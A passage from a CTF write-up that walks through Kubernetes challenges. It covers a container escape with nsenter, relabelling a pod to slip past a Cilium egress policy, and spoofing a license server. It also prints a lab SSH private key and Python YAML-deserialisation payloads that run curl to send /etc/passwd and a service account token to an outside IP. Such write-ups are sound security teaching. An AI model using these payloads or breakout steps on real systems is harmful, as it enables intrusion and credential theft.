Y1uS7VUcsx58cB0mhmwJRlKo/OAofsPOwUnG/jf2NZEIpkSCaI2pto0MeLhhwa9SuYzypB
93RHVmNvUqtYL0nmhvLrpgbAPapFdzBgTCnyX1HcKUcdFJ4emiPnxc7DzMiDSZTerRARmr
8Chf5nkxqW+f//JWZh+muUH+a+JrR0kFuju15vzdrjMv2x6T697TcrAAt2Xlb0fz3gtVY0
6uFYJu1D24DvAAAAEXdha2V3YXJkQGNwLXd3LTIyAQ==
-----END OPENSSH PRIVATE KEY-----

Yup, those look to be the start and end parts of a SSH private key. Which is probably how we connect to the service in the north-pacific. Quickly assembling all the pieces and trying it:

root@k8s-node-0:/tmp# vim key
root@k8s-node-0:/tmp# cat key
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
root@k8s-node-0:/tmp# chmod 600 key
root@k8s-node-0:/tmp# ssh 10.109.101.101 -i ./key

| ___ \  _  \ \ / / _ \ | |     |  ___|  _  | ___ \_   _| | | | \ | ||  ___|
| |_/ / | | |\ V / /_\ \| |     | |_  | | | | |_/ / | | | | | |  \| || |__
|    /| | | | \ /|  _  || |     |  _| | | | |    /  | | | | | | . ` ||  __|
| |\ \\ \_/ / | || | | || |____ | |   \ \_/ / |\ \  | | | |_| | |\  || |___
\_| \_|\___/  \_/\_| |_/\_____/ \_|    \___/\_| \_| \_/  \___/\_| \_/\____/

                    ____...------------...____
               _.-'  /o/__ ____ __ __  __ \o\_ '-._
             .'     / /                    \ \     '.
             |=====/o/======================\o\=====|
             |____/_/________..____..________\_\____|
             /   _/ \_     <_o#\__/#o_>     _/ \_
             \________________\####/________________/
              |===\!/========================\!/===|
              |   |=|          .---.         |=|   |
              |===|o|=========/     \========|o|===|
              |   | |         \() ()/        | |   |
              |===|o|======{'-.) A (.-'}=====|o|===|
              | __/ \__     '-.\uuu/.-'    __/ \__ |
              |==== .'.'^'.'.====|=== .'.'^'.'.====|
              |  _\o/   __  {.' __  '.} _   _\o/  _|
              |====================================|

          WELCOME TO THE ROYAL FORTUNE, ENTER AND PLUNDER!

root@royal-fortune:~#

We’ve made it to the royal fortune. The final flag must be close. Although searching for the filesystem doesn’t reveal anything. Time for more enumeration.

root@royal-fortune:~# ps aux | head
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.2  0.3 102084 13036 ?        Ss   16:57   0:27 /sbin/init
root           2  0.0  0.0      0     0 ?        S    16:57   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   16:57   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   16:57   0:00 [rcu_par_gp]
root           5  0.0  0.0      0     0 ?        I<   16:57   0:00 [slub_flushwq]
root           6  0.0  0.0      0     0 ?        I<   16:57   0:00 [netns]
root           8  0.0  0.0      0     0 ?        I<   16:57   0:00 [kworker/0:0H-events_highpri]
root          10  0.0  0.0      0     0 ?        I<   16:57   0:00 [mm_percpu_wq]
root          11  0.0  0.0      0     0 ?        S    16:57   0:00 [rcu_tasks_rude_]
root@royal-fortune:~# cat /proc/self/status | grep -i capeff
CapEff:	000001ffffffffff

Looks like we have all the capabilities (try capsh --decode=000001ffffffffff 😉), and we have the host PID mounted. Is this just an easy breakout? Let’s try jumping into the namespaces of PID 1.

root@royal-fortune:~# nsenter -t 1 -a
 _    ___                                _                  ___
| | _( _ ) ___       _ __ ___   __ _ ___| |_ ___ _ __      / _ \
| |/ / _ \/ __|_____| '_ ` _ \ / _` / __| __/ _ \ '__|____| | | |
|   < (_) \__ \_____| | | | | | (_| \__ \ ||  __/ | |_____| |_| |
|_|\_\___/|___/     |_| |_| |_|\__,_|___/\__\___|_|        \___/

root@k8s-master-0:/[0]$ cat root/flag.txt
flag_ctf{TOTAL_MASTERY_OF_THE_SEVEN_SEAS}

Yup, and there’s the final flag.

One other thing I had originally missed was the initial port 8080 exposed via SSH. Investigating that now revealed the following map showing the steps between the different seas which aligns with what I just went through.

Path of the Pirate

Cease and Desist

The next scenario required us to try to re-license some software called reform-kube to get production up and running. We start as always, figuring out who we are and what we have.

Flag 1

root@admin-console:/# kubectl get -A secret
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:administration:sysadmin" cannot list resource "secrets" in API group "" at the cluster scope
root@admin-console:/# kubectl auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
secrets                                         []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
root@admin-console:/# kubectl get ns | awk '{print $1}' | grep -v NAME | while read ns ; do echo $ns; kubectl -n $ns auth can-i --list | grep -vE '^ ' | grep -v selfsubject; echo; done
administration
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]
secrets                                         []                                    []               [get list]

default
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kube-node-lease
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kube-public
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kube-system
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

licensing
Resources                                       Non-Resource URLs                     Resource Names   Verbs
pods/exec                                       []                                    []               [create]
namespaces                                      []                                    []               [get list]
pods                                            []                                    []               [get list]
ciliumnetworkpolicies.cilium.io                 []                                    [rkls-egress]    [get]
ciliumnetworkpolicies.cilium.io                 []                                    []               [list]

production
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]
pods                                            []                                    []               [get list]

Looks like we are the sysadmin in the administration namespace. The namespaces also align with what we know of the challenge. We need to sort out licensing to get production up and running. So let’s jump into licensing after fetching the secrets in our own namespace.

root@admin-console:/# kubectl get secrets
NAME            TYPE     DATA   AGE
rkls-password   Opaque   1      178m
root@admin-console:/# kubectl get secrets  -o yaml
apiVersion: v1
items:
- apiVersion: v1
  data:
    password: YWNjZXNzLTItcmVmb3JtLWt1YmUtc2VydmVy
  kind: Secret
  metadata:
    [..SNIP..]
    name: rkls-password
    namespace: administration
  type: Opaque
kind: List
metadata:
  resourceVersion: ""
root@admin-console:/# base64 -d <<< YWNjZXNzLTItcmVmb3JtLWt1YmUtc2VydmVy ; echo
access-2-reform-kube-server

Looks like just a password, probably useful later. In licensing, we have the ability to exec into pods, and view Cilium network policies. Let’s enumerate those out and then jump into any pods that may be there.

root@admin-console:/# alias k="kubectl -n licensing"
root@admin-console:/# k get cnp
NAME              AGE
kube-api-access   172m
rkls-egress       172m
root@admin-console:/# k get cnp  -o yaml
apiVersion: v1
items:
- apiVersion: cilium.io/v2
  kind: CiliumNetworkPolicy
  metadata:
    name: kube-api-access
    namespace: licensing
    [..SNIP..]
  spec:
    egress:
    - toEntities:
      - kube-apiserver
      toPorts:
      - ports:
        - port: "6443"
          protocol: TCP
    endpointSelector:
      matchLabels:
        k8s:name: rkls
- apiVersion: cilium.io/v2
  kind: CiliumNetworkPolicy
  metadata:
    name: rkls-egress
    namespace: licensing
    [..SNIP..]
  spec:
    egress:
    - toEndpoints:
      - matchLabels:
          k8s:io.kubernetes.pod.namespace: kube-system
          k8s:k8s-app: kube-dns
      toPorts:
      - ports:
        - port: "53"
          protocol: ANY
        rules:
          dns:
          - matchPattern: '*'
    - toFQDNs:
      - matchName: reform-kube.licensing.com.org.test.dev.io
      - matchName: deb.debian.org
      - matchPattern: '*.debian.org'
      - matchName: debian.map.fastlydns.net
      - matchName: packages.cloud.google.com
      - matchName: github.com
      - matchPattern: '*.github.com'
      - matchPattern: '*.githubusercontent.com'
      - matchName: control-plane.io
      - matchName: ident.me
      toPorts:
      - ports:
        - port: "443"
          protocol: TCP
        - port: "80"
          protocol: TCP
    endpointSelector:
      matchLabels:
        k8s:name: rkls
kind: List
metadata:
  resourceVersion: ""
root@admin-console:/# k get pods
NAME   READY   STATUS    RESTARTS   AGE
rkls   1/1     Running   0          171m

Right OK, looks like there is a pod called rkls - Reform-Kube Licensing Server maybe(?) and network policies applied to that pod to restrict its network access. It can talk to the API server which is interesting, as it suggests maybe it will have a service account token with some permissions. Let’s jump into the pod and check.

root@admin-console:/# k exec -ti rkls -- bash
licenser@rkls:/$ kubectl get -A secret
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:licensing:reform-kube" cannot list resource "secrets" in API group "" at the cluster scope
licenser@rkls:/$ kubectl auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [get update patch]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
licenser@rkls:/$  kubectl -n production auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

OK, interesting, so it does have its own token which has the ability to update pods in its own namespace but nothing in production. There’s not much you can change when editing a pod, there’s only a few fields that are mutable. Let’s move on for now and come back when we have a bit more of a clue.

licenser@rkls:~$ ls /
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  reform-kube  root  run  sbin  srv  sys  tmp  usr  var
licenser@rkls:~$ cd /reform-kube/
licenser@rkls:/reform-kube$ ls
reform-kube-licensing-server

There seems to be some software in /reform-kube (not shown above, but in the terminal it was highlighted green as if it were executable). This is probably the next step to play with.

licenser@rkls:/reform-kube$ ./reform-kube-licensing-server --help
Usage of ./reform-kube-licensing-server:
  -h	Display help
  -licenseURL string
    	Licensing server URL (default "https://reform-kube.licensing.com.org.test.dev.io")
  -password string
    	Licensing server Password
  -trial
    	Enable program trial mode

A few options, let’s try the password we found earlier.

licenser@rkls:/reform-kube$ ./reform-kube-licensing-server -password access-2-reform-kube-server
error contacting licensing server Get "https://reform-kube.licensing.com.org.test.dev.io": dial tcp: lookup reform-kube.licensing.com.org.test.dev.io on 10.96.0.10:53: no such host

Hmmm…. a DNS issue… it couldn’t be!

DNS Haiku

Sorry, couldn’t resist.

Let’s try trial mode as well.

licenser@rkls:/reform-kube$ ./reform-kube-licensing-server -trial -password access-2-reform-kube-server
Trial mode enabled
FLAG: flag_ctf{A_FREE_SAMPLE_4_YOU_2_TRY}

Oh first flag, that was unexpected. Not complaining though. It says trial mode enabled, how does it represent that.

Flag 2

licenser@rkls:/reform-kube$ ls
license.json  reform-kube-licensing-server
licenser@rkls:/reform-kube$ cat license.json
{"key":"bGljZW5zZV9rZXk9dHJpYWwK"}
licenser@rkls:/reform-kube$ base64 -d <<< bGljZW5zZV9rZXk9dHJpYWwK; echo
license_key=trial

I see, just a JSON file with trial mode being set. I spent quite a while playing around at this point, just trying to see what I could do. As part of that I also modified the pods labels so it wouldn’t be affected by the cilium network policy.

licenser@rkls:/reform-kube$ kubectl get pod rkls -o yaml
apiVersion: v1
kind: Pod
metadata:
  labels:
    name: rkls
  name: rkls
  namespace: licensing
  [..SNIP..]
spec:
  containers:
  - command:
    - sleep
    - 2d
    image: docker.io/controlplaneoffsec/cease-and-desist:rks
    imagePullPolicy: IfNotPresent
    name: rkls
    resources: {}
    securityContext:
      allowPrivilegeEscalation: false
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-97pkz
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  nodeName: k8s-node-0
  preemptionPolicy: PreemptLowerPriority
  priority: 0
  restartPolicy: Always
  schedulerName: default-scheduler
  securityContext: {}
  serviceAccount: reform-kube
  serviceAccountName: reform-kube
  terminationGracePeriodSeconds: 30
  tolerations:
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 300
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 300
  volumes:
  - name: kube-api-access-97pkz
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace
    [..SNIP..]
licenser@rkls:/reform-kube$ cat > /tmp/pod.yml <<EOF
[..SNIP..]
EOF

As the pod didn’t have a quick editor, and wasn’t root. I just retrieved the YAML locally and made the change. The change I made was change the pod label to rkcd, which the cilium network policy doesn’t include in its selectors.

apiVersion: v1
kind: Pod
metadata:
  labels:
    name: rkcd
  name: rkls
  namespace: licensing
  resourceVersion: "1441"
  uid: dc374ef8-b678-4bec-8c06-9d0758a05208
spec:
  containers:
  - command:
    - sleep
    - 2d
    image: docker.io/controlplaneoffsec/cease-and-desist:rks
    imagePullPolicy: IfNotPresent
    name: rkls
    resources: {}
    securityContext:
      allowPrivilegeEscalation: false
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-97pkz
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  nodeName: k8s-node-0
  preemptionPolicy: PreemptLowerPriority
  priority: 0
  restartPolicy: Always
  schedulerName: default-scheduler
  securityContext: {}
  serviceAccount: reform-kube
  serviceAccountName: reform-kube
  terminationGracePeriodSeconds: 30
  tolerations:
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 300
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 300
  volumes:
  - name: kube-api-access-97pkz
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace
licenser@rkls:/reform-kube$ kubectl apply -f /tmp/pod.yml
Warning: resource pods/rkls is missing the kubectl.kubernetes.io/last-applied-configuration annotation which is required by kubectl apply. kubectl apply should only be used on resources created declaratively by either kubectl create --save-config or kubectl apply. The missing annotation will be patched automatically.
pod/rkls configured

With that the pod is now updated. So theoretically I should be able to hit the wider internet now.

After a while, I thought let’s see what paths the tool hits on the licensing server, and how it processes that. Maybe there was something there. I quickly set up a listener on one of my VPCs on port 8080.

licenser@rkls:/reform-kube$ ./reform-kube-licensing-server -password access-2-reform-kube-server -licenseURL http://45.55.162.198:8080


$ nc -nlvp 8080
Listening on 0.0.0.0 8080
Connection received on 52.56.123.81 55311
GET / HTTP/1.1
Host: 45.55.162.198:8080
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

^C

Hmm, just a get on /. Let’s set up a simple web server with python http.server and see what happens.

licenser@rkls:/reform-kube$ ./reform-kube-licensing-server -password access-2-reform-kube-server -licenseURL http://45.55.162.198:8080
error unmarshalling response: invalid character '<' looking for beginning of value

OK, so it doesn’t like HTML. The trial mode made a JSON file, let’s see if changing the / to json would work.

import http.server
import socketserver

class MyHttpRequestHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/':
            self.path = 'test.json'
        return http.server.SimpleHTTPRequestHandler.do_GET(self)

# Create an object of the above class
handler_object = MyHttpRequestHandler

PORT = 8080
my_server = socketserver.TCPServer(("", PORT), handler_object)

# Star the server
my_server.serve_forever()

The above quick python code would serve up test.json for all requests to / and test.json solely contains {}.

licenser@rkls:/reform-kube$ ./reform-kube-licensing-server -password access-2-reform-kube-server -licenseURL http://45.55.162.198:8080
invalid license key

OK, so clearly it processes and validates the license key from our server. Trying the trial license as test.json.

licenser@rkls:/reform-kube$ ./reform-kube-licensing-server -password access-2-reform-kube-server -licenseURL http://45.55.162.198:8080
production license key required

Now if people remember when we first got the license, when we decoded it, it said license_key=trial. What happens if we change trial to production, re-encode it and then set that as test.json.

$ echo "license_key=production" | base64
bGljZW5zZV9rZXk9cHJvZHVjdGlvbgo=
$ vim test.json
$ cat test.json
{"key":"bGljZW5zZV9rZXk9cHJvZHVjdGlvbgo="}
licenser@rkls:/reform-kube$ ./reform-kube-licensing-server -password access-2-reform-kube-server -licenseURL http://45.55.162.198:8080
Product activation successful

Excellent, that worked. No flag, I guess the flag is in the production namespace.

Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
pods                                            []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

I forgot what I can do in this namespace, looks like just see pods.

root@admin-console:/# kubectl -n production get pods
NAME              READY   STATUS    RESTARTS   AGE
tokungfu-server   1/1     Running   0          58s
root@admin-console:/# kubectl -n production get pods -o yaml
apiVersion: v1
items:
- apiVersion: v1
  kind: Pod
  metadata:
    name: tokungfu-server
    namespace: production
    [..SNIP..]
  spec:
    containers:
    - env:
      - name: FLAG
        valueFrom:
          secretKeyRef:
            key: flag
            name: flag
      image: docker.io/controlplaneoffsec/cease-and-desist:tokungfu-shop
      imagePullPolicy: IfNotPresent
      name: tokungfu-server
      ports:
      - containerPort: 8080
        name: http
        protocol: TCP
    [..SNIP..]
    podIPs:
    - ip: 10.0.1.37
    [..SNIP..]

Doesn’t look like we’re done, but this pod looks to have the flag. It also has a port on 8080, let’s try hitting the container IP directly on that port.

root@admin-console:/# curl 10.0.1.37:8080
"Tokungfu Shop Running: flag_ctf{OPEN_WIDE_AND_EAT_SOME_TOFU}"

That’s the final flag for this scenario!

Identity Theft

The final scenario. This one looks like we need to infiltrate a pod schema validation checker, and get into their user databases. Let’s start with some enumeration again.

Flag 1

elit3hex0r@public-terminal:/$ kubectl auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
elit3hex0r@public-terminal:/$ kubectl get pods
NAME              READY   STATUS    RESTARTS   AGE
public-terminal   1/1     Running   0          3h23m

Doesn’t look to be much there, maybe something in the home directory again.

elit3hex0r@public-terminal:~$ cat hacker-notes.md
# Hacker Notes

author: elitehexor

## Initial Access

I've found the pod-checker frontend at: `ssh -F cp_simulator_config -L 8080:localhost:8080 -N bastion`

## Exploit

¯\_()_/¯

Ah right, we need to port forward to 8080 to get to the frontend.

Pod Checker

Inputting some YAML in the left box and clicking submit results in.

Pod Checker with YAML

After a while experimenting with the YAML checker, and experimenting with different fields to see if there was an issue with validation somewhere, I suddenly remember that YAML deserialisation is a thing and I’ve probably spent way too long experimenting with YAML which likely wouldn’t lead to much. Doing a quick test payload that would reach out to my server.

!!python/object/apply:os.system
- curl 45.55.162.198:8080
$ nc -nlvp 8080
Listening on 0.0.0.0 8080
Connection received on 18.130.18.9 28029
GET / HTTP/1.1
Host: 45.55.162.198:8080
User-Agent: curl/7.68.0
Accept: */*

Success! At this point I spent way too long trying to get this into a reverse shell before realising I could just as easily use this to get the bits I want, that being mainly the service account token, but what else I could get my hands on too.

After some quick experimentation, the easiest payload to exfiltrate files was the following:

!!python/object/apply:os.system
- curl 45.55.162.198:8080 -X POST -d $(base64 /etc/passwd | tr -d '\n')

This would encode files and make it so it’s all one line and not multiple and the data comes through relatively well.

First things first, the service account.

!!python/object/apply:os.system
- curl 45.55.162.198:8080 -X POST -d $(base64 /var/run/secrets/kubernetes.io/serviceaccount/token | tr -d '\n')
$ nc -nlvp 8080 
Listening on 0.0.0.0 8080
Connection received on 18.130.18.9 15038
POST / HTTP/1.1
Host: 45.55.162.198:8080
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 1400
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue

